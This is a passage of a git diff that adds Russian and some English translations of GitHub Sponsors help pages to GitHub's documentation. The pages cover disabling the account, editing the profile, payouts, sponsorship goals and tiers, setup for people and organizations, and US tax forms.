организации. Дополнительные сведения см. в разделе [Настройка адреса электронной почты для фиксации](/articles/setting-your-commit-email-address). + +## Связь со спонсорами + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.sponsors-updates-tab %} {% data reusables.sponsors.draft-new-update %} {% data reusables.sponsors.send-update-to-sponsors %} {% data reusables.sponsors.write-sponsor-update %} {% data reusables.sponsors.publish-sponsor-update %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md new file mode 100644 index 000000000000..badaf2a6a41b --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md @@ -0,0 +1,31 @@ +--- +title: Отключение учетной записи GitHub Sponsors +intro: 'Если вы больше не хотите участвовать в {% data variables.product.prodname_sponsors %}, можно отключить учетную запись {% data variables.product.prodname_sponsors %}.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Sponsors payments +shortTitle: Disable your account +ms.openlocfilehash: 52098a056da3e743d9fe127fc573cd96ec2821b0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139449' +--- +Если вы получаете спонсорские платежи, обратитесь в службу поддержки GitHub, чтобы отключить учетную запись {% data variables.product.prodname_sponsors %}. + +Если у вас нет спонсоров, вы можете отключить свою учетную запись {% data variables.product.prodname_sponsors %} в GitHub. + +Если вы решите создать учетную запись {% data variables.product.prodname_sponsors %}, вам нужно будет повторить процедуру заново. + +Другой вариант — это отменить публикацию спонсорского профиля, а затем опубликовать учетную запись заново, не повторяя всю процедуру. Дополнительные сведения см. в разделе [Отмена профиля {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile). + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.settings-tab %} +1. В разделе "Отключение учетной записи спонсоров GitHub" нажмите **Отключить учетную запись**. + ![Кнопка "Отключить учетную запись"](/assets/images/help/sponsors/disable-your-account-button.png) +2. Чтобы подтвердить, щелкните **Отменить публикацию учетной записи GitHub Sponsors**. + ![Кнопка "Отключить учетную запись GitHub Sponsors"](/assets/images/help/sponsors/disable-github-sponsors-account-dialog.png) diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md new file mode 100644 index 000000000000..f37f58156cfa --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md @@ -0,0 +1,32 @@ +--- +title: Изменение сведений о профиле для GitHub Sponsors +intro: 'Вы можете обновить информацию о своей работе, которая отображается для потенциальных спонсоров.' +redirect_from: + - /articles/editing-your-sponsored-developer-profile + - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-sponsored-developer-profile + - /github/supporting-the-open-source-community-with-github-sponsors/editing-your-profile-details-for-github-sponsors +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Sponsors profile + - Open Source +shortTitle: Edit profile details +ms.openlocfilehash: bf242d05576ee997b72b15a8933f063e867209e1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884505' +--- +## Сведения о профилях спонсоров + +Ваш профиль {% data variables.product.prodname_sponsors %} сообщает потенциальным спонсорам, почему они должны поддерживать вас. Пользователи видят свой профиль спонсора при нажатии кнопки **Спонсор** в профиле. Рекомендуется включить следующие сведения. + +- Работа с открытым кодом, в которой вы принимаете участие +- Причина, по которой вы предпочитаете разработку с открытым кодом + +## Изменение сведений о профиле + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-profile-tab %} {% data reusables.sponsors.short-bio %} {% data reusables.sponsors.add-introduction %} {% data reusables.sponsors.edit-featured-work %} {% data reusables.sponsors.opt-in-to-being-featured %} {% data reusables.sponsors.save-profile %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md new file mode 100644 index 000000000000..cdd39da7140a --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md @@ -0,0 +1,33 @@ +--- +title: Получение спонсорства через GitHub Sponsors +shortTitle: Receiving sponsorships +intro: 'Вы или ваша организация можете стать спонсируемым участником проекта с открытым кодом, чтобы получать оплату за выполненную работу, изменять сведения о спонсорстве и общаться со своими спонсорами.' +redirect_from: + - /articles/receiving-sponsorships-as-a-sponsored-developer + - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-as-a-sponsored-developer + - /github/supporting-the-open-source-community-with-github-sponsors/receiving-sponsorships-through-github-sponsors +versions: + fpt: '*' + ghec: '*' +children: + - /about-github-sponsors-for-open-source-contributors + - /setting-up-github-sponsors-for-your-personal-account + - /setting-up-github-sponsors-for-your-organization + - /using-a-fiscal-host-to-receive-github-sponsors-payouts + - /editing-your-profile-details-for-github-sponsors + - /managing-your-sponsorship-goal + - /managing-your-sponsorship-tiers + - /viewing-your-sponsors-and-sponsorships + - /managing-your-payouts-from-github-sponsors + - /contacting-your-sponsors + - /tax-information-for-github-sponsors + - /disabling-your-github-sponsors-account + - /unpublishing-your-github-sponsors-profile +ms.openlocfilehash: d7d3b8f98e7acf74ee24e7cf705f0ddb3c5d4b26 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108823' +--- + diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md new file mode 100644 index 000000000000..a6f60d52d862 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md @@ -0,0 +1,30 @@ +--- +title: Управление выплатами от спонсоров GitHub +intro: 'Вы можете просмотреть сведения о прошлых и будущих выплатах из {% data variables.product.prodname_sponsors %} и изменить свои банковские реквизиты.' +redirect_from: + - /articles/managing-your-payouts-from-github-sponsors + - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-payouts-from-github-sponsors +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Sponsors payments + - Open Source +shortTitle: Manage payouts +ms.openlocfilehash: 223deb6a68cbf900e985ba08e8ab3ed3eaf19238 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878726' +--- +## О выплатах от {% data variables.product.prodname_sponsors %} + +Вы можете управлять своими выплатами от {% data variables.product.prodname_sponsors %}, только если получаете оплату через Stripe Connect. Если оплату для вашей спонсируемой личной учетной записи вы получаете переводом ACH или банковским переводом, то не увидите вкладку **Выплаты** на панели мониторинга спонсируемого участника разработки с открытым кодом. Спонсируемые организации могут использовать для выплат только Stripe Connect. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_sponsors %} для участников разработки ПО с открытым кодом](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors#sponsorship-payouts). + +{% data reusables.sponsors.payout-info %} + +## Просмотр и изменение сведений о выплатах + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-payouts-tab %} {% data reusables.sponsors.edit-bank-information %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md new file mode 100644 index 000000000000..1b8e9721e851 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md @@ -0,0 +1,42 @@ +--- +title: Управление целью спонсорства +intro: 'Вы можете задать цель для учетной записи спонсируемого разработчика или спонсируемой организации, чтобы помочь сообществу оценить, какое внимание оказывает спонсорская поддержка вашей работы.' +redirect_from: + - /github/supporting-the-open-source-community-with-github-sponsors/manage-your-sponsorship-goal + - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-goal +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Sponsors profile +shortTitle: Manage sponsor goals +ms.openlocfilehash: 53d814dfe96baa603fc1514da93252450d93df17 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147887313' +--- +## Сведения о целях спонсорства + +Можно задать цель финансирования для спонсируемой учетной записи и поделиться ею с сообществом. Цели помогают понять влияние на сообщество с открытым кодом, и укрепить присутствие в программе {% data variables.product.prodname_sponsors %}. + +Цель может задать целевой объект для количества желаемых спонсоров или сумму денег, которую желательно зарабатывать каждый месяц. Одновременно можно задать только одну цель. После достижения цели можно задать другую цель. + +## Установка цели + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.set-a-goal %} {% data reusables.sponsors.select-goal-type %} {% data reusables.sponsors.publish-goal %} + +## Изменение цели + +Во время изменения цели нельзя выбрать уже достигнутую цель. Например, если уже есть 5 спонсоров, нельзя изменить свою цель, чтобы стремиться к 4 спонсорам. + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.edit-goal %} {% data reusables.sponsors.select-goal-type %} {% data reusables.sponsors.publish-goal %} + +## Отзыв цели + +После отзыва цели ее нельзя повторно активировать. Вместо этого необходимо создать новую цель. + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.edit-goal %} {% data reusables.sponsors.retire-goal %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md new file mode 100644 index 000000000000..b41ad203eccc --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md @@ -0,0 +1,97 @@ +--- +title: Managing your sponsorship tiers +intro: 'You can add a new sponsorship tier, or edit or retire an existing tier.' +redirect_from: + - /articles/changing-your-sponsorship-tiers + - /github/supporting-the-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers + - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Sponsors profile +shortTitle: Manage payment tiers +--- + +## About sponsorship tiers + +{% data reusables.sponsors.tier-details %} + +{% data reusables.sponsors.maximum-tier %} + +## Adding a tier + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +1. If you are setting up tiers for the first time, we recommend you review the suggested tier examples to see how some other open source contributors have set up {% data variables.product.prodname_sponsors %}. Decide whether you want to start with some suggested draft tiers, which you can customize in the tier editor. + - To use a suggested tier, select the rewards you'd like to include in your draft tier or tiers. Then, click **Continue to tier editor**. + - To create tiers without using with any of the draft suggestions, click **Skip this step**. + + ![Screenshot of "Skip this step" option and "Continue to tier editor" button](/assets/images/help/sponsors/tier-editor-button.png) + +1. Optionally, in the text boxes under "Custom amounts", type a recommended or minimum sponsorship amount. The minimum amount applies to both recurring and one-time sponsorships. + + ![Screenshot of custom amounts fields](/assets/images/help/sponsors/custom-amounts.png) + +1. Optionally, to edit a draft tier, find the draft tier and click **Edit**. + + ![Screenshot of edit button next to draft tier](/assets/images/help/sponsors/draft-tier-edit.png) + +{% data reusables.sponsors.click-add-tier %} +{% data reusables.sponsors.tier-price-description %} +{% data reusables.sponsors.add-welcome-message %} +{% data reusables.sponsors.save-tier-draft %} +{% data reusables.sponsors.review-and-publish-tier %} + +## Editing or retiring a tier + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +{% data reusables.sponsors.edit-tier %} + {% note %} + + **Note:** To see ideas of tier descriptions, scroll down. + + {% endnote %} +{% data reusables.sponsors.tier-price-description %} +{% data reusables.sponsors.tier-update %} +{% data reusables.sponsors.retire-tier %} + +## Adding a repository to a sponsorship tier + +{% data reusables.sponsors.sponsors-only-repos %} + +### About adding repositories to a sponsorship tier + +To add a repository to a tier, the repository must be private and owned by an organization, and you must have admin access to the repository. + +When you add a repository to a tier, {% data variables.product.company_short %} will automatically send repository invitations to new sponsors and remove access when a sponsorship is cancelled. + +Only personal accounts, not organizations, can be invited to private repositories associated with a sponsorship tier. + +You can also manually add or remove collaborators to the repository, and {% data variables.product.company_short %} will not override these in the sync. + +### About transfers for repositories that are added to sponsorship tiers + +If you transfer a repository that has been added to a sponsorship tier, sponsors who have access to the repository through the tier may be affected. + +- If the sponsored profile is for an organization and the repository is transferred to a different organization, current sponsors will be transferred, but new sponsors will not be added. The new owner of the repository can remove existing sponsors. +- If the sponsored profile is for a personal account, the repository is transferred to an organization, and the personal account has admin access to the new repository, existing sponsors will be transferred, and new sponsors will continue to be added to the repository. +- If the repository is transferred to a personal account, all sponsors will be removed and new sponsors will not be added to the repository. + +### Adding a repository a sponsorship tier + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +{% data reusables.sponsors.edit-tier %} +1. Select **Grant sponsors access to a private repository**. + + ![Screenshot of checkbox to grant sponsors access to a private repository](/assets/images/help/sponsors/grant-sponsors-access-to-repo-checkbox.png) + +1. Select the dropdown menu and click the repository you want to add. + + ![Screenshot of dropdown menu to choose the repository to grant sponsors access to](/assets/images/help/sponsors/grant-sponsors-access-to-repo-dropdown.png) + +{% data reusables.sponsors.tier-update %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md new file mode 100644 index 000000000000..b96b7c361ab9 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md @@ -0,0 +1,98 @@ +--- +title: Setting up GitHub Sponsors for your organization +intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.' +redirect_from: + - /articles/setting-up-github-sponsorship-for-your-organization + - /articles/receiving-sponsorships-as-a-sponsored-organization + - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-organization +permissions: 'Organization owners can set up {% data variables.product.prodname_sponsors %} for an organization.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Sponsors profile + - Open Source +shortTitle: Set up for organization +--- + +## Joining {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %} + +After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization. + +To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)." + +{% data reusables.sponsors.navigate-to-github-sponsors %} +{% data reusables.sponsors.view-eligible-accounts %} +3. To the right of your organization, click **Join the waitlist**. +{% data reusables.sponsors.contact-info %} +{% data reusables.sponsors.payout-choice %} + ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/org-waitlist-payout-options.png) + +{% data reusables.sponsors.accept-legal-terms %} + +## Completing your sponsored organization profile + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-profile-tab %} +{% data reusables.sponsors.short-bio %} +{% data reusables.sponsors.add-introduction %} +{% data reusables.sponsors.meet-the-team %} +{% data reusables.sponsors.edit-featured-work %} +{% data reusables.sponsors.opt-in-to-being-featured %} +{% data reusables.sponsors.save-profile %} + +## Creating sponsorship tiers + +{% data reusables.sponsors.tier-details %} + +{% data reusables.sponsors.maximum-tier %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +{% data reusables.sponsors.click-add-tier %} +{% data reusables.sponsors.tier-price-description %} +{% data reusables.sponsors.add-welcome-message %} +{% data reusables.sponsors.save-tier-draft %} +{% data reusables.sponsors.review-and-publish-tier %} +{% data reusables.sponsors.add-more-tiers %} + +## Submitting your bank information + +As a sponsored organization, you will receive payouts to a bank account in a supported region or via a fiscal host. + +{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)." + +If you choose to receive payouts to a bank account, your bank account can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %} + +{% data reusables.sponsors.double-check-stripe-info %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.create-stripe-account %} + +## Submitting your tax information + +{% data reusables.sponsors.tax-form-information-org %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.overview-tab %} +{% data reusables.sponsors.tax-form-link %} + +## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account + +Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + +## Submitting your application to {% data variables.product.prodname_dotcom %} for approval + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.request-approval %} + +{% data reusables.sponsors.github-review-app %} + +## Further reading + +- "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" +- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md new file mode 100644 index 000000000000..77f5cb937789 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md @@ -0,0 +1,95 @@ +--- +title: Setting up GitHub Sponsors for your personal account +intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.location.product_location %}.' +redirect_from: + - /articles/becoming-a-sponsored-developer + - /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer + - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-user-account + - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - User account + - Sponsors profile +shortTitle: Set up for personal account +--- + +## Joining {% data variables.product.prodname_sponsors %} + +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %} + +To join {% data variables.product.prodname_sponsors %} as an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." + +{% data reusables.sponsors.navigate-to-github-sponsors %} +2. If you are an organization owner, you have more than one eligible account. Click **Get sponsored**, then in the list of accounts, find your personal account. + ![Screenshot of the Get sponsored button](/assets/images/help/sponsors/get-sponsored.png) +3. Click **Join the waitlist**. +{% data reusables.sponsors.contact-info %} +{% data reusables.sponsors.payout-choice %} + ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/user-waitlist-payout-options.png) + +{% data reusables.sponsors.accept-legal-terms %} + +If you have a bank account in a supported region, {% data variables.product.prodname_dotcom %} will review your application within two weeks. + +## Completing your sponsored developer profile + +After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you. + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-profile-tab %} +{% data reusables.sponsors.short-bio %} +{% data reusables.sponsors.add-introduction %} +{% data reusables.sponsors.edit-featured-work %} +{% data reusables.sponsors.opt-in-to-being-featured %} +{% data reusables.sponsors.save-profile %} + +## Creating sponsorship tiers + +{% data reusables.sponsors.tier-details %} + +{% data reusables.sponsors.maximum-tier %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %} +{% data reusables.sponsors.click-add-tier %} +{% data reusables.sponsors.tier-price-description %} +{% data reusables.sponsors.add-welcome-message %} +{% data reusables.sponsors.save-tier-draft %} +{% data reusables.sponsors.review-and-publish-tier %} +{% data reusables.sponsors.add-more-tiers %} + +## Submitting your bank information + +As a sponsored user, you will receive payouts to a bank account in a supported region or via a fiscal host. + +{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)." + +If you choose to receive payouts to a bank account, your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %} + +{% data reusables.sponsors.double-check-stripe-info %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.create-stripe-account %} + +## Submitting your tax information + +{% data reusables.sponsors.tax-form-information-dev %} + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +{% data reusables.sponsors.overview-tab %} +{% data reusables.sponsors.tax-form-link %} + +## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account + +Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + +## Submitting your application to {% data variables.product.prodname_dotcom %} for approval + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +4. Click **Request approval**. + ![Request approval button](/assets/images/help/sponsors/request-approval-button.png) + +{% data reusables.sponsors.github-review-app %} diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md new file mode 100644 index 000000000000..e74e9941f19d --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md @@ -0,0 +1,81 @@ +--- +title: Налоговые сведения для спонсоров GitHub +intro: 'Спонсируемые разработчики и организации должны отправлять налоговые данные в {% data variables.product.prodname_dotcom %} и самостоятельно отвечают за расчет и уплату собственных налогов.' +redirect_from: + - /articles/tax-information-for-sponsored-developers + - /github/supporting-the-open-source-community-with-github-sponsors/tax-information-for-sponsored-developers +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Open Source + - Sponsors payments +shortTitle: Tax information +ms.openlocfilehash: 25c549ef143ae785bc8c1e164a5d9ea86ab0b4bd +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145149211' +--- +## Налоговые формы W-9/W-8 + +По закону {% data variables.product.prodname_dotcom %} требуется внутренней налоговой службой США (IRS) для сбора налоговых сведений со всех сопровождающих из США и за их пределами. Эти формы хранятся {% data variables.product.prodname_dotcom %} и не требуются для отправки в IRS. + +### W-9 (США) + +Сведения из налоговых форм W-9 помогают {% data variables.product.prodname_dotcom %} использовать правильный идентификационный номер налогоплательщика (TIN), чтобы сообщить о доходах, выплаченных вам, в IRS в форме 1099. + +Если вы являетесь налогоплательщиком в США, перед публикацией профиля {% data variables.product.prodname_sponsors %} необходимо отправить [W-9](https://www.irs.gov/forms-pubs/about-form-w-9). + +### W-8 BEN/W-8 BEN-E (за пределами США) + +Налоговые формы W-8 BEN и W-8 BEN-E помогают {% data variables.product.prodname_dotcom %} определить выгодного владельца суммы, подлежащей удержанию. + +Если вы являетесь налогоплательщиком в любой другой стране, кроме США, перед публикацией профиля {% data variables.product.prodname_sponsors %} необходимо отправить форму [W-8 BEN](https://www.irs.gov/pub/irs-pdf/fw8ben.pdf) (индивидуальная) или [W-8 BEN-E](https://www.irs.gov/forms-pubs/about-form-w-8-ben-e) (компания). Дополнительные сведения см. на страницах [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account#submitting-your-tax-information) и [Настройка {% data variables.product.prodname_sponsors %} для организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization#submitting-your-tax-information). {% data variables.product.prodname_dotcom %} отправит вам соответствующие формы, уведомит вас о их сроках и предоставит вам достаточно времени для завершения и отправки в формах. + +Если вам назначена неправильная налоговая форма, [обратитесь в службу поддержки {% data variables.product.prodname_dotcom %}](https://support.github.com/contact?form%5Bsubject%5D=GitHub%20Sponsors:%20tax%20form&tags=sponsors), чтобы вам назначили правильную форму для вашей ситуации. + +### идентификационные номера налогоплательщиков; + +Налоговые формы W-8 BEN и W-8 BEN-E запрашивают "Идентификационный номер налогоплательщика в США (SSN или ITIN)" либо "Идентификационный номер иностранного налога". + +Если вы не являетесь гражданином США или другим лицом, проживающим в США, в том числе иммигрантом, вам, как правило, потребуется указать "Идентификационный номер иностранного налога". Это идентификационный номер налога, выданный вам в вашей стране проживания. + +Если ваша страна проживания или выставления счетов является Индией, вы можете использовать свой идентификационный номер PAN. + +{% note %} + +**Примечание.** Если в вашей стране не требуется, чтобы граждане имели налоговый номер, выданный правительством, то вместо этого можно написать "не требуется законодательством". + +В руководстве IRS говорится, что не следует писать "неприменимо". Дополнительные сведения см. в разделе [Инструкции по форме W-8BEN, строка 6](https://www.irs.gov/instructions/iw8ben#idm139867098922656) на веб-сайте IRS. +{% endnote %} + +IRS позволяет иностранцам-резидентам и нерезидентам запрашивать [идентификационный номер налогоплательщика](https://www.irs.gov/individuals/international-taxpayers/taxpayer-identification-numbers-tin#itin) (ITIN). Маловероятно, что это необходимо для сопровождающих, получающих доход через {% data variables.product.prodname_sponsors %}, но следует ознакомиться с полными [инструкциями](https://www.irs.gov/pub/irs-pdf/iw8ben.pdf), чтобы определить свои индивидуальные обстоятельства. + +## Формы 1099 + +Если вы являетесь налогоплательщиком в США и зарабатываете более 600 долларов США в налоговом году, {% data variables.product.prodname_dotcom %} отправит вам [1099-NEC](https://www.irs.gov/forms-pubs/about-form-1099-nec) до 31 января следующего календарного года. Мы не предоставляем налоговые формы для международных налогоплательщиков. + +## Общие налоговые сведения + +{% data variables.product.prodname_dotcom %} не удерживает налог от платежей {% data variables.product.prodname_sponsors %}. Спонсируемые разработчики несут ответственность за оценку и оплату собственных налогов. + +{% data reusables.sponsors.sponsorships-not-tax-deductible %} + +## Налог с продаж + +GitHub предоставляет сведения, помогающие вам в расчете налоговых обязательств по продажам. Эти сведения не персонализированы для вашей страны или налоговой ситуации, и мы рекомендуем вам проконсультироваться с профессионалом, чтобы понять свои конкретные обязательства. Тем не менее мы хотели бы предоставить некоторые общие сведения, которые помогут вам понять общие принципы налога на цифровые продажи. + +В большинстве стран мира налог на продажу цифровых транзакций основан на расположении получателя, а не продавца. Например, если вы являетесь сопровождающим в США и предоставляете налогооблагаемое преимущество спонсору в Германии, будет применяться немецкий налог на продажу. + +Налог на продажу обычно применяется только в том случае, если предоставляется товар или услуга, имеющая ценность. Помощь / общая поддержка / регулярное выражение признательности обычно не облагаются налогом. + +В США оба вида — B2B (бизнес-бизнес) и B2C (бизнес-потребитель) — подлежат налогу на продажу. + +В Европе и большинстве других стран и регионов продажи B2C подлежат налогу на продажу. Продажи B2B не подлежат налогу. Продажи C2C и C2B, в которых потребитель не зарегистрирован для НДС, не облагаются налогом. + +## Дополнительные материалы + +- [Просмотр спонсоров и спонсорской поддержки](/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships) diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md new file mode 100644 index 000000000000..f3cb1eb27b86 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md @@ -0,0 +1,29 